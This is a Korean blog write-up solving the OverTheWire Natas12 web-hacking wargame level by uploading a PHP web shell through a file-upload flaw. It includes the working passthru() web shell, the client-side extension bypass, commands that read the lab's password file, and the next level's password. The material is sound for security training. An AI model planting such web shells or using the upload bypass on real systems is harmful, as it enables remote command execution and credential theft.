Sh4n3e

[웹해킹][Natas] Natas12 문제 풀이 본문

Wargame/ NATAS

[웹해킹][Natas] Natas12 문제 풀이

sh4n3e 2017. 11. 28. 18:54

Natas12 문제까지 왔다. 조금만 더 힘을 내보자.(그래봐야 아직 반도 못왔다는...)


문제의 URL은 아래와 같다.

[URL : http://natas12.natas.labs.overthewire.org/]

문제의 URL로 접속하면 아래와 같은 화면을 볼 수 있다.

JPEG 파일을 선택해서 업로드하라고 한다. 그리고 최대 size는 1KB라고 한다.



아무파일이나 선택해서 업로드를 해보자!



업로드를 하면 위와 같이 upload디렉터리에 임의로 지정된 이름과 jpg확장자를 가진 파일이 업로드 되었다고 나온다.

(필자는 여기서 test.jpg 라는 파일을 업로드 하였다.)

그럼 이 페이지는 어떻게 동작하는지 알아보기 위해 sourcecode를 한번 보자.



소스코드를 보게 되면, 여러개의 함수가 보인다.

genRandomString()

makeRandomPath()

makRandomPathFromFilename()


3개의 함수가 보이는데,

맨위의 함수는 Random한 스트링을 rand()함수를 통해 characters내의 [0-9a-z]의 범위내에서 글을 뽑아 10의 길이로 Random한 String을 만들어낸다.


다음 함수는 생성한 random스트링에 path를 만들어주는 함수로써, 파일이 존재하는지까지 체크하는 함수이다.

만약 만들어진 path가 유효하다면 해당 path를 리턴해준다.


마지막 함수는 POST방식으로 filename을 넘겨받아서, 해당파일의 확장자를 확인하여 path를 만들어 리턴해주는 함수이다.


그럼 POST방식으로 filename을 넘겨받아야 한다는 말인데, 그 부분에 대한 코드는 아래쪽에 나와있다.

<input type="hidden" name="filename" value="<? print getRandomString(); ?>.jpg" />

결국 여기서보면 getRandomString()함수를 호출하여 랜덤한 String을 뽑아내고, jpg란 확장자를 붙여 upload하는 것임을 확인할 수 있다.


그럼 이게 맞는지 크롬의 개발자 도구를 통해 한번 확인해보자.



보면 이미 랜덤한 이름으로 만들어져 있는 것이 확인 될 것이다.

그렇다면 문제는 간단해졌다. (왜??)


왜냐하면 해당 문제는 파일 업로드 취약점을 이용하는 것이기 때문이다.

앞의 문제에서 passthru()함수를 이용하면 우리는 Command Remote Execution할 수 있었다. (달리말하자면 웹쉘(Webshell)...)


그럼 초간단 웹쉘을 작성하여 파일을 업로드하고, 우리가 원하는대로 작동하게 하면 끝! 이란 소리이다.

초간단 웹쉘 코드는 아래와 같다.


1
2
3
4
5
6
7
<html>
<?
$data = "";
$data = $_GET['data'];
passthru("$data");
?>
</html>
cs


Get방식으로 명령어를 받아 passthru()함수를 통해 결과를 출력받는 함수이다.

한번 웹쉘을 올려보도록 하자. (필자는 test.php라는 이름의 파일을 올릴 것이다.)


코드를 client side로 수정을하고 업로드를 하면 결과는 아래와 같다.




예상대로 업로드가 잘 되었다. 그럼 저 php파일을 실행시켜보도록하자. (사실 이것만해도 끝이다.)

아래의 그림은 웹쉘이 정상 작동하는지 확인하기 위해 ls -al 명령어를 실행해본 것이다.

아주 잘된다. 그렇다면 우리가 원하는 암호에 접근해보자.



cat /etc/natas_webpass/natas13을 통해 natas13으로 가는 티켓을 얻어내보자.



얻어냈다. 이제는 다음으로 넘어가보자.


jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Comments